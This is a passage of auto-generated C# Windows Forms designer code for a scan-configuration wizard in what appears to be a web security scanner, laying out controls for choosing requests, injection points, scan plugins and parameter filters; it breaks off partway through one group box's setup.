Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ScanBranchWizard)); + this.ScanBranchHostNameTB = new System.Windows.Forms.TextBox(); + this.ScanBranchUrlPatternTB = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.ScanBranchStatsPanel = new System.Windows.Forms.Panel(); + this.ScanBranchProgressLbl = new System.Windows.Forms.Label(); + this.ScanBranchProgressBar = new System.Windows.Forms.ProgressBar(); + this.ScanBranchErrorTB = new System.Windows.Forms.TextBox(); + this.ScanBranchPickProxyLogCB = new System.Windows.Forms.CheckBox(); + this.label8 = new System.Windows.Forms.Label(); + this.ScanBranchPickProbeLogCB = new System.Windows.Forms.CheckBox(); + this.BaseTabs = new System.Windows.Forms.TabControl(); + this.Zero = new System.Windows.Forms.TabPage(); + this.ScanTemplateNameLbl = new System.Windows.Forms.Label(); + this.Step0StatusTB = new System.Windows.Forms.TextBox(); + this.label10 = new System.Windows.Forms.Label(); + this.LoadTemplateLL = new System.Windows.Forms.LinkLabel(); + this.label11 = new System.Windows.Forms.Label(); + this.CancelBtn = new System.Windows.Forms.Button(); + this.StepZeroNextBtn = new System.Windows.Forms.Button(); + this.One = new System.Windows.Forms.TabPage(); + this.Step1StatusTB = new System.Windows.Forms.TextBox(); + this.ScanAllPluginsCB = new System.Windows.Forms.CheckBox(); + this.StepOnePreviousBtn = new System.Windows.Forms.Button(); + this.StepOneNextBtn = new System.Windows.Forms.Button(); + this.label23 = new System.Windows.Forms.Label(); + this.InjectNamesCB = new System.Windows.Forms.CheckBox(); + this.ScanPluginsGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn1 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.label24 = new System.Windows.Forms.Label(); + this.InjectHeadersCB = new System.Windows.Forms.CheckBox(); + this.InjectCookieCB = new System.Windows.Forms.CheckBox(); + this.InjectBodyCB = new System.Windows.Forms.CheckBox(); + this.InjectQueryCB = new System.Windows.Forms.CheckBox(); + this.InjectUrlPathPartsCB = new System.Windows.Forms.CheckBox(); + this.Two = new System.Windows.Forms.TabPage(); + this.Step2StatusTB = new System.Windows.Forms.TextBox(); + this.label25 = new System.Windows.Forms.Label(); + this.label26 = new System.Windows.Forms.Label(); + this.StepTwoPreviousBtn = new System.Windows.Forms.Button(); + this.StepTwoNextBtn = new System.Windows.Forms.Button(); + this.groupBox6 = new System.Windows.Forms.GroupBox(); + this.HeadersParametersFilterCB = new System.Windows.Forms.CheckBox(); + this.HeadersParametersPlusTB = new System.Windows.Forms.TextBox(); + this.HeadersParametersMinusTB = new System.Windows.Forms.TextBox(); + this.HeadersParametersPlusRB = new System.Windows.Forms.RadioButton(); + this.HeadersParametersMinusRB = new System.Windows.Forms.RadioButton(); + this.groupBox7 = new System.Windows.Forms.GroupBox(); + this.QueryParametersFilterCB = new System.Windows.Forms.CheckBox(); + this.QueryParametersPlusTB = new System.Windows.Forms.TextBox(); + this.QueryParametersMinusTB = new System.Windows.Forms.TextBox(); + this.QueryParametersPlusRB = new System.Windows.Forms.RadioButton(); + this.QueryParametersMinusRB = new System.Windows.Forms.RadioButton(); + this.groupBox8 = new System.Windows.Forms.GroupBox(); + this.BodyParametersFilterCB = new System.Windows.Forms.CheckBox(); + this.BodyParametersPlusTB = new System.Windows.Forms.TextBox(); + this.BodyParametersMinusTB = new System.Windows.Forms.TextBox(); + this.BodyParametersPlusRB = new System.Windows.Forms.RadioButton(); + this.BodyParametersMinusRB = new System.Windows.Forms.RadioButton(); + this.groupBox9 = new System.Windows.Forms.GroupBox(); + this.CookieParametersFilterCB = new System.Windows.Forms.CheckBox(); + this.CookieParametersPlusTB = new System.Windows.Forms.TextBox(); + this.CookieParametersMinusTB = new System.Windows.Forms.TextBox(); + this.CookieParametersPlusRB = new System.Windows.Forms.RadioButton(); + this.CookieParametersMinusRB = new System.Windows.Forms.RadioButton(); + this.Three = new System.Windows.Forms.TabPage(); + this.LoginRecordingComboBox = new System.Windows.Forms.ComboBox(); + this.label3 = new System.Windows.Forms.Label(); + this.StartLoginRecordingLL = new System.Windows.Forms.LinkLabel(); + this.ScanBranchSessionPluginsCombo = new System.Windows.Forms.ComboBox(); + this.ScanThreadLimitCB = new System.Windows.Forms.CheckBox(); + this.textBox4 = new System.Windows.Forms.TextBox(); + this.FormatGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn2 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.LaunchSessionPluginCreationAssistantLL = new System.Windows.Forms.LinkLabel(); + this.Step3StatusTB = new System.Windows.Forms.TextBox(); + this.StepThreePreviousBtn = new System.Windows.Forms.Button(); + this.StepThreeNextBtn = new System.Windows.Forms.Button(); + this.RefreshSessListLL = new System.Windows.Forms.LinkLabel(); + this.textBox1 = new System.Windows.Forms.TextBox(); + this.label5 = new System.Windows.Forms.Label(); + this.Four = new System.Windows.Forms.TabPage(); + this.PromptUserCB = new System.Windows.Forms.CheckBox(); + this.label27 = new System.Windows.Forms.Label(); + this.label28 = new System.Windows.Forms.Label(); + this.textBox3 = new System.Windows.Forms.TextBox(); + this.SaveTemplateLL = new System.Windows.Forms.LinkLabel(); + this.label29 = new System.Windows.Forms.Label(); + this.StepFourPreviousBtn = new System.Windows.Forms.Button(); + this.FinalBtn = new System.Windows.Forms.Button(); + this.OpenTemplateDialog = new System.Windows.Forms.OpenFileDialog(); + this.SaveTemplateDialog = new System.Windows.Forms.SaveFileDialog(); + this.ScanBranchStatsPanel.SuspendLayout(); + this.BaseTabs.SuspendLayout(); + this.Zero.SuspendLayout(); + this.One.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ScanPluginsGrid)).BeginInit(); + this.Two.SuspendLayout(); + this.groupBox6.SuspendLayout(); + this.groupBox7.SuspendLayout(); + this.groupBox8.SuspendLayout(); + this.groupBox9.SuspendLayout(); + this.Three.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.FormatGrid)).BeginInit(); + this.Four.SuspendLayout(); + this.SuspendLayout(); + // + // ScanBranchHostNameTB + // + this.ScanBranchHostNameTB.Location = new System.Drawing.Point(185, 48); + this.ScanBranchHostNameTB.Name = "ScanBranchHostNameTB"; + this.ScanBranchHostNameTB.ReadOnly = true; + this.ScanBranchHostNameTB.Size = new System.Drawing.Size(473, 20); + this.ScanBranchHostNameTB.TabIndex = 0; + // + // ScanBranchUrlPatternTB + // + this.ScanBranchUrlPatternTB.Location = new System.Drawing.Point(263, 74); + this.ScanBranchUrlPatternTB.Name = "ScanBranchUrlPatternTB"; + this.ScanBranchUrlPatternTB.ReadOnly = true; + this.ScanBranchUrlPatternTB.Size = new System.Drawing.Size(395, 20); + this.ScanBranchUrlPatternTB.TabIndex = 2; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(16, 50); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(162, 13); + this.label1.TabIndex = 3; + this.label1.Text = "Only pick Requests from the site:"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(16, 77); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(241, 13); + this.label2.TabIndex = 4; + this.label2.Text = "Only pick Requests with Url matching this pattern:"; + // + // ScanBranchStatsPanel + // + this.ScanBranchStatsPanel.Controls.Add(this.ScanBranchProgressLbl); + this.ScanBranchStatsPanel.Controls.Add(this.ScanBranchProgressBar); + this.ScanBranchStatsPanel.Location = new System.Drawing.Point(169, 293); + this.ScanBranchStatsPanel.Name = "ScanBranchStatsPanel"; + this.ScanBranchStatsPanel.Size = new System.Drawing.Size(449, 27); + this.ScanBranchStatsPanel.TabIndex = 97; + this.ScanBranchStatsPanel.Visible = false; + // + // ScanBranchProgressLbl + // + this.ScanBranchProgressLbl.AutoSize = true; + this.ScanBranchProgressLbl.Location = new System.Drawing.Point(3, 9); + this.ScanBranchProgressLbl.Name = "ScanBranchProgressLbl"; + this.ScanBranchProgressLbl.Size = new System.Drawing.Size(31, 13); + this.ScanBranchProgressLbl.TabIndex = 98; + this.ScanBranchProgressLbl.Text = "Stats"; + // + // ScanBranchProgressBar + // + this.ScanBranchProgressBar.Location = new System.Drawing.Point(265, 2); + this.ScanBranchProgressBar.Name = "ScanBranchProgressBar"; + this.ScanBranchProgressBar.Size = new System.Drawing.Size(181, 23); + this.ScanBranchProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.ScanBranchProgressBar.TabIndex = 0; + this.ScanBranchProgressBar.Visible = false; + // + // ScanBranchErrorTB + // + this.ScanBranchErrorTB.BackColor = System.Drawing.SystemColors.Control; + this.ScanBranchErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ScanBranchErrorTB.ForeColor = System.Drawing.Color.Red; + this.ScanBranchErrorTB.Location = new System.Drawing.Point(17, 206); + this.ScanBranchErrorTB.Multiline = true; + this.ScanBranchErrorTB.Name = "ScanBranchErrorTB"; + this.ScanBranchErrorTB.ReadOnly = true; + this.ScanBranchErrorTB.Size = new System.Drawing.Size(798, 46); + this.ScanBranchErrorTB.TabIndex = 98; + // + // ScanBranchPickProxyLogCB + // + this.ScanBranchPickProxyLogCB.AutoSize = true; + this.ScanBranchPickProxyLogCB.Checked = true; + this.ScanBranchPickProxyLogCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ScanBranchPickProxyLogCB.Location = new System.Drawing.Point(403, 110); + this.ScanBranchPickProxyLogCB.Name = "ScanBranchPickProxyLogCB"; + this.ScanBranchPickProxyLogCB.Size = new System.Drawing.Size(73, 17); + this.ScanBranchPickProxyLogCB.TabIndex = 101; + this.ScanBranchPickProxyLogCB.Text = "Proxy Log"; + this.ScanBranchPickProxyLogCB.UseVisualStyleBackColor = true; + this.ScanBranchPickProxyLogCB.CheckedChanged += new System.EventHandler(this.ScanBranchPickProxyLogCB_CheckedChanged); + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(16, 112); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(373, 13); + this.label8.TabIndex = 102; + this.label8.Text = "Which logs should be searched for Requests matching the above conditions?"; + // + // ScanBranchPickProbeLogCB + // + this.ScanBranchPickProbeLogCB.AutoSize = true; + this.ScanBranchPickProbeLogCB.Location = new System.Drawing.Point(482, 110); + this.ScanBranchPickProbeLogCB.Name = "ScanBranchPickProbeLogCB"; + this.ScanBranchPickProbeLogCB.Size = new System.Drawing.Size(75, 17); + this.ScanBranchPickProbeLogCB.TabIndex = 103; + this.ScanBranchPickProbeLogCB.Text = "Probe Log"; + this.ScanBranchPickProbeLogCB.UseVisualStyleBackColor = true; + this.ScanBranchPickProbeLogCB.CheckedChanged += new System.EventHandler(this.ScanBranchPickProbeLogCB_CheckedChanged); + // + // BaseTabs + // + this.BaseTabs.Appearance = System.Windows.Forms.TabAppearance.Buttons; + this.BaseTabs.Controls.Add(this.Zero); + this.BaseTabs.Controls.Add(this.One); + this.BaseTabs.Controls.Add(this.Two); + this.BaseTabs.Controls.Add(this.Three); + this.BaseTabs.Controls.Add(this.Four); + this.BaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.BaseTabs.Location = new System.Drawing.Point(0, 0); + this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); + this.BaseTabs.Name = "BaseTabs"; + this.BaseTabs.Padding = new System.Drawing.Point(0, 0); + this.BaseTabs.SelectedIndex = 0; + this.BaseTabs.Size = new System.Drawing.Size(834, 361); + this.BaseTabs.TabIndex = 104; + this.BaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Selecting); + // + // Zero + // + this.Zero.Controls.Add(this.ScanTemplateNameLbl); + this.Zero.Controls.Add(this.ScanBranchPickProbeLogCB); + this.Zero.Controls.Add(this.label8); + this.Zero.Controls.Add(this.Step0StatusTB); + this.Zero.Controls.Add(this.ScanBranchPickProxyLogCB); + this.Zero.Controls.Add(this.label10); + this.Zero.Controls.Add(this.LoadTemplateLL); + this.Zero.Controls.Add(this.label11); + this.Zero.Controls.Add(this.CancelBtn); + this.Zero.Controls.Add(this.StepZeroNextBtn); + this.Zero.Controls.Add(this.ScanBranchUrlPatternTB); + this.Zero.Controls.Add(this.ScanBranchHostNameTB); + this.Zero.Controls.Add(this.label1); + this.Zero.Controls.Add(this.label2); + this.Zero.Location = new System.Drawing.Point(4, 25); + this.Zero.Margin = new System.Windows.Forms.Padding(0); + this.Zero.Name = "Zero"; + this.Zero.Size = new System.Drawing.Size(826, 332); + this.Zero.TabIndex = 0; + this.Zero.Text = " Start "; + this.Zero.UseVisualStyleBackColor = true; + // + // ScanTemplateNameLbl + // + this.ScanTemplateNameLbl.AutoSize = true; + this.ScanTemplateNameLbl.Location = new System.Drawing.Point(172, 200); + this.ScanTemplateNameLbl.Name = "ScanTemplateNameLbl"; + this.ScanTemplateNameLbl.Size = new System.Drawing.Size(220, 13); + this.ScanTemplateNameLbl.TabIndex = 137; + this.ScanTemplateNameLbl.Text = " "; + // + // Step0StatusTB + // + this.Step0StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step0StatusTB.BackColor = System.Drawing.Color.White; + this.Step0StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step0StatusTB.ForeColor = System.Drawing.Color.Red; + this.Step0StatusTB.Location = new System.Drawing.Point(127, 289); + this.Step0StatusTB.Multiline = true; + this.Step0StatusTB.Name = "Step0StatusTB"; + this.Step0StatusTB.Size = new System.Drawing.Size(577, 35); + this.Step0StatusTB.TabIndex = 136; + this.Step0StatusTB.TabStop = false; + this.Step0StatusTB.Visible = false; + // + // label10 + // + this.label10.AutoSize = true; + this.label10.Location = new System.Drawing.Point(8, 15); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(323, 13); + this.label10.TabIndex = 9; + this.label10.Text = "This wizard will help you pick requests from the log and scan them. "; + // + // LoadTemplateLL + // + this.LoadTemplateLL.AutoSize = true; + this.LoadTemplateLL.Location = new System.Drawing.Point(350, 173); + this.LoadTemplateLL.Name = "LoadTemplateLL"; + this.LoadTemplateLL.Size = new System.Drawing.Size(125, 13); + this.LoadTemplateLL.TabIndex = 8; + this.LoadTemplateLL.TabStop = true; + this.LoadTemplateLL.Text = "Load Scan Template File"; + this.LoadTemplateLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.LoadTemplateLL_LinkClicked); + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Location = new System.Drawing.Point(8, 173); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(336, 13); + this.label11.TabIndex = 7; + this.label11.Text = "If you have saved a Scan Configuration template then you can use it: "; + // + // CancelBtn + // + this.CancelBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.CancelBtn.Location = new System.Drawing.Point(11, 300); + this.CancelBtn.Name = "CancelBtn"; + this.CancelBtn.Size = new System.Drawing.Size(105, 23); + this.CancelBtn.TabIndex = 6; + this.CancelBtn.Text = "Cancel"; + this.CancelBtn.UseVisualStyleBackColor = true; + this.CancelBtn.Click += new System.EventHandler(this.CancelBtn_Click); + // + // StepZeroNextBtn + // + this.StepZeroNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepZeroNextBtn.Location = new System.Drawing.Point(713, 299); + this.StepZeroNextBtn.Name = "StepZeroNextBtn"; + this.StepZeroNextBtn.Size = new System.Drawing.Size(105, 23); + this.StepZeroNextBtn.TabIndex = 5; + this.StepZeroNextBtn.Text = "Next Step ->"; + this.StepZeroNextBtn.UseVisualStyleBackColor = true; + this.StepZeroNextBtn.Click += new System.EventHandler(this.StepZeroNextBtn_Click); + // + // One + // + this.One.Controls.Add(this.Step1StatusTB); + this.One.Controls.Add(this.ScanAllPluginsCB); + this.One.Controls.Add(this.StepOnePreviousBtn); + this.One.Controls.Add(this.StepOneNextBtn); + this.One.Controls.Add(this.label23); + this.One.Controls.Add(this.InjectNamesCB); + this.One.Controls.Add(this.ScanPluginsGrid); + this.One.Controls.Add(this.label24); + this.One.Controls.Add(this.InjectHeadersCB); + this.One.Controls.Add(this.InjectCookieCB); + this.One.Controls.Add(this.InjectBodyCB); + this.One.Controls.Add(this.InjectQueryCB); + this.One.Controls.Add(this.InjectUrlPathPartsCB); + this.One.Location = new System.Drawing.Point(4, 25); + this.One.Name = "One"; + this.One.Size = new System.Drawing.Size(826, 332); + this.One.TabIndex = 2; + this.One.Text = " Scan Settings "; + this.One.UseVisualStyleBackColor = true; + // + // Step1StatusTB + // + this.Step1StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step1StatusTB.BackColor = System.Drawing.Color.White; + this.Step1StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step1StatusTB.ForeColor = System.Drawing.Color.Red; + this.Step1StatusTB.Location = new System.Drawing.Point(124, 292); + this.Step1StatusTB.Multiline = true; + this.Step1StatusTB.Name = "Step1StatusTB"; + this.Step1StatusTB.Size = new System.Drawing.Size(577, 32); + this.Step1StatusTB.TabIndex = 145; + this.Step1StatusTB.TabStop = false; + this.Step1StatusTB.Visible = false; + // + // ScanAllPluginsCB + // + this.ScanAllPluginsCB.AutoSize = true; + this.ScanAllPluginsCB.Checked = true; + this.ScanAllPluginsCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ScanAllPluginsCB.Location = new System.Drawing.Point(269, 127); + this.ScanAllPluginsCB.Name = "ScanAllPluginsCB"; + this.ScanAllPluginsCB.Size = new System.Drawing.Size(111, 17); + this.ScanAllPluginsCB.TabIndex = 144; + this.ScanAllPluginsCB.Text = "Enable all Checks"; + this.ScanAllPluginsCB.UseVisualStyleBackColor = true; + this.ScanAllPluginsCB.Click += new System.EventHandler(this.ScanAllPluginsCB_Click); + // + // StepOnePreviousBtn + // + this.StepOnePreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepOnePreviousBtn.Location = new System.Drawing.Point(8, 301); + this.StepOnePreviousBtn.Name = "StepOnePreviousBtn"; + this.StepOnePreviousBtn.Size = new System.Drawing.Size(105, 23); + this.StepOnePreviousBtn.TabIndex = 143; + this.StepOnePreviousBtn.Text = "<-Previous Step"; + this.StepOnePreviousBtn.UseVisualStyleBackColor = true; + this.StepOnePreviousBtn.Click += new System.EventHandler(this.StepOnePreviousBtn_Click); + // + // StepOneNextBtn + // + this.StepOneNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepOneNextBtn.Location = new System.Drawing.Point(713, 301); + this.StepOneNextBtn.Name = "StepOneNextBtn"; + this.StepOneNextBtn.Size = new System.Drawing.Size(105, 23); + this.StepOneNextBtn.TabIndex = 142; + this.StepOneNextBtn.Text = "Next Step ->"; + this.StepOneNextBtn.UseVisualStyleBackColor = true; + this.StepOneNextBtn.Click += new System.EventHandler(this.StepOneNextBtn_Click); + // + // label23 + // + this.label23.AutoSize = true; + this.label23.Location = new System.Drawing.Point(22, 128); + this.label23.Name = "label23"; + this.label23.Size = new System.Drawing.Size(218, 13); + this.label23.TabIndex = 95; + this.label23.Text = "Which vulnerabilities should be scanned for?"; + // + // InjectNamesCB + // + this.InjectNamesCB.AutoSize = true; + this.InjectNamesCB.Location = new System.Drawing.Point(316, 81); + this.InjectNamesCB.Name = "InjectNamesCB"; + this.InjectNamesCB.Size = new System.Drawing.Size(183, 17); + this.InjectNamesCB.TabIndex = 94; + this.InjectNamesCB.Text = "Parameter Names of Query, Body"; + this.InjectNamesCB.UseVisualStyleBackColor = true; + // + // ScanPluginsGrid + // + this.ScanPluginsGrid.AllowUserToAddRows = false; + this.ScanPluginsGrid.AllowUserToDeleteRows = false; + this.ScanPluginsGrid.AllowUserToResizeRows = false; + this.ScanPluginsGrid.BackgroundColor = System.Drawing.Color.White; + this.ScanPluginsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ScanPluginsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ScanPluginsGrid.ColumnHeadersVisible = false; + this.ScanPluginsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn1, + this.dataGridViewTextBoxColumn1}); + this.ScanPluginsGrid.GridColor = System.Drawing.Color.White; + this.ScanPluginsGrid.Location = new System.Drawing.Point(407, 128); + this.ScanPluginsGrid.Margin = new System.Windows.Forms.Padding(0); + this.ScanPluginsGrid.Name = "ScanPluginsGrid"; + this.ScanPluginsGrid.ReadOnly = true; + this.ScanPluginsGrid.RowHeadersVisible = false; + this.ScanPluginsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ScanPluginsGrid.Size = new System.Drawing.Size(300, 152); + this.ScanPluginsGrid.TabIndex = 93; + this.ScanPluginsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanPluginsGrid_CellClick); + // + // dataGridViewCheckBoxColumn1 + // + this.dataGridViewCheckBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn1.HeaderText = ""; + this.dataGridViewCheckBoxColumn1.Name = "dataGridViewCheckBoxColumn1"; + this.dataGridViewCheckBoxColumn1.ReadOnly = true; + this.dataGridViewCheckBoxColumn1.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewCheckBoxColumn1.Width = 20; + // + // dataGridViewTextBoxColumn1 + // + this.dataGridViewTextBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn1.HeaderText = "SCAN PLUGINS"; + this.dataGridViewTextBoxColumn1.Name = "dataGridViewTextBoxColumn1"; + this.dataGridViewTextBoxColumn1.ReadOnly = true; + this.dataGridViewTextBoxColumn1.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // label24 + // + this.label24.AutoSize = true; + this.label24.Location = new System.Drawing.Point(22, 26); + this.label24.Name = "label24"; + this.label24.Size = new System.Drawing.Size(252, 13); + this.label24.TabIndex = 24; + this.label24.Text = "Which sections of the Request should be scanned?"; + // + // InjectHeadersCB + // + this.InjectHeadersCB.AutoSize = true; + this.InjectHeadersCB.Location = new System.Drawing.Point(537, 26); + this.InjectHeadersCB.Name = "InjectHeadersCB"; + this.InjectHeadersCB.Size = new System.Drawing.Size(66, 17); + this.InjectHeadersCB.TabIndex = 23; + this.InjectHeadersCB.Text = "Headers"; + this.InjectHeadersCB.UseVisualStyleBackColor = true; + this.InjectHeadersCB.CheckedChanged += new System.EventHandler(this.InjectHeadersCB_CheckedChanged); + // + // InjectCookieCB + // + this.InjectCookieCB.AutoSize = true; + this.InjectCookieCB.Location = new System.Drawing.Point(460, 26); + this.InjectCookieCB.Name = "InjectCookieCB"; + this.InjectCookieCB.Size = new System.Drawing.Size(59, 17); + this.InjectCookieCB.TabIndex = 22; + this.InjectCookieCB.Text = "Cookie"; + this.InjectCookieCB.UseVisualStyleBackColor = true; + this.InjectCookieCB.CheckedChanged += new System.EventHandler(this.InjectCookieCB_CheckedChanged); + // + // InjectBodyCB + // + this.InjectBodyCB.AutoSize = true; + this.InjectBodyCB.Checked = true; + this.InjectBodyCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.InjectBodyCB.Location = new System.Drawing.Point(393, 25); + this.InjectBodyCB.Name = "InjectBodyCB"; + this.InjectBodyCB.Size = new System.Drawing.Size(50, 17); + this.InjectBodyCB.TabIndex = 21; + this.InjectBodyCB.Text = "Body"; + this.InjectBodyCB.UseVisualStyleBackColor = true; + this.InjectBodyCB.CheckedChanged += new System.EventHandler(this.InjectBodyCB_CheckedChanged); + // + // InjectQueryCB + // + this.InjectQueryCB.AutoSize = true; + this.InjectQueryCB.Checked = true; + this.InjectQueryCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.InjectQueryCB.Location = new System.Drawing.Point(316, 25); + this.InjectQueryCB.Name = "InjectQueryCB"; + this.InjectQueryCB.Size = new System.Drawing.Size(54, 17); + this.InjectQueryCB.TabIndex = 20; + this.InjectQueryCB.Text = "Query"; + this.InjectQueryCB.UseVisualStyleBackColor = true; + this.InjectQueryCB.CheckedChanged += new System.EventHandler(this.InjectQueryCB_CheckedChanged); + // + // InjectUrlPathPartsCB + // + this.InjectUrlPathPartsCB.AutoSize = true; + this.InjectUrlPathPartsCB.Checked = true; + this.InjectUrlPathPartsCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.InjectUrlPathPartsCB.Location = new System.Drawing.Point(316, 53); + this.InjectUrlPathPartsCB.Name = "InjectUrlPathPartsCB"; + this.InjectUrlPathPartsCB.Size = new System.Drawing.Size(349, 17); + this.InjectUrlPathPartsCB.TabIndex = 19; + this.InjectUrlPathPartsCB.Text = "Url Path Parts (only when Query string is blank, to cover Url-rewriting)"; + this.InjectUrlPathPartsCB.UseVisualStyleBackColor = true; + // + // Two + // + this.Two.Controls.Add(this.Step2StatusTB); + this.Two.Controls.Add(this.label25); + this.Two.Controls.Add(this.label26); + this.Two.Controls.Add(this.StepTwoPreviousBtn); + this.Two.Controls.Add(this.StepTwoNextBtn); + this.Two.Controls.Add(this.groupBox6); + this.Two.Controls.Add(this.groupBox7); + this.Two.Controls.Add(this.groupBox8); + this.Two.Controls.Add(this.groupBox9); + this.Two.Location = new System.Drawing.Point(4, 25); + this.Two.Name = "Two"; + this.Two.Size = new System.Drawing.Size(826, 332); + this.Two.TabIndex = 5; + this.Two.Text = " Scan Filter "; + this.Two.UseVisualStyleBackColor = true; + // + // Step2StatusTB + // + this.Step2StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step2StatusTB.BackColor = System.Drawing.Color.White; + this.Step2StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step2StatusTB.ForeColor = System.Drawing.Color.Red; + this.Step2StatusTB.Location = new System.Drawing.Point(131, 302); + this.Step2StatusTB.Multiline = true; + this.Step2StatusTB.Name = "Step2StatusTB"; + this.Step2StatusTB.Size = new System.Drawing.Size(577, 22); + this.Step2StatusTB.TabIndex = 148; + this.Step2StatusTB.TabStop = false; + this.Step2StatusTB.Visible = false; + // + // label25 + // + this.label25.AutoSize = true; + this.label25.Location = new System.Drawing.Point(7, 30); + this.label25.Name = "label25"; + this.label25.Size = new System.Drawing.Size(561, 13); + this.label25.TabIndex = 147; + this.label25.Text = "Check the box at the beginning to enable the list. Use + and - options to toggle " + + "between white-list and black-list mode."; + // + // label26 + // + this.label26.AutoSize = true; + this.label26.Location = new System.Drawing.Point(7, 10); + this.label26.Name = "label26"; + this.label26.Size = new System.Drawing.Size(436, 13); + this.label26.TabIndex = 146; + this.label26.Text = "You can set a black-list or white-list to include or exclude request parameters f" + + "rom the scan."; + // + // StepTwoPreviousBtn + // + this.StepTwoPreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepTwoPreviousBtn.Location = new System.Drawing.Point(8, 301); + this.StepTwoPreviousBtn.Name = "StepTwoPreviousBtn"; + this.StepTwoPreviousBtn.Size = new System.Drawing.Size(105, 23); + this.StepTwoPreviousBtn.TabIndex = 145; + this.StepTwoPreviousBtn.Text = "<-Previous Step"; + this.StepTwoPreviousBtn.UseVisualStyleBackColor = true; + this.StepTwoPreviousBtn.Click += new System.EventHandler(this.StepTwoPreviousBtn_Click); + // + // StepTwoNextBtn + // + this.StepTwoNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepTwoNextBtn.Location = new System.Drawing.Point(714, 301); + this.StepTwoNextBtn.Name = "StepTwoNextBtn"; + this.StepTwoNextBtn.Size = new System.Drawing.Size(105, 23); + this.StepTwoNextBtn.TabIndex = 144; + this.StepTwoNextBtn.Text = "Next Step ->"; + this.StepTwoNextBtn.UseVisualStyleBackColor = true; + this.StepTwoNextBtn.Click += new System.EventHandler(this.StepTwoNextBtn_Click); + // + // groupBox6 + // + this.groupBox6.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.groupBox6.Controls.Add(this.HeadersParametersFilterCB); + 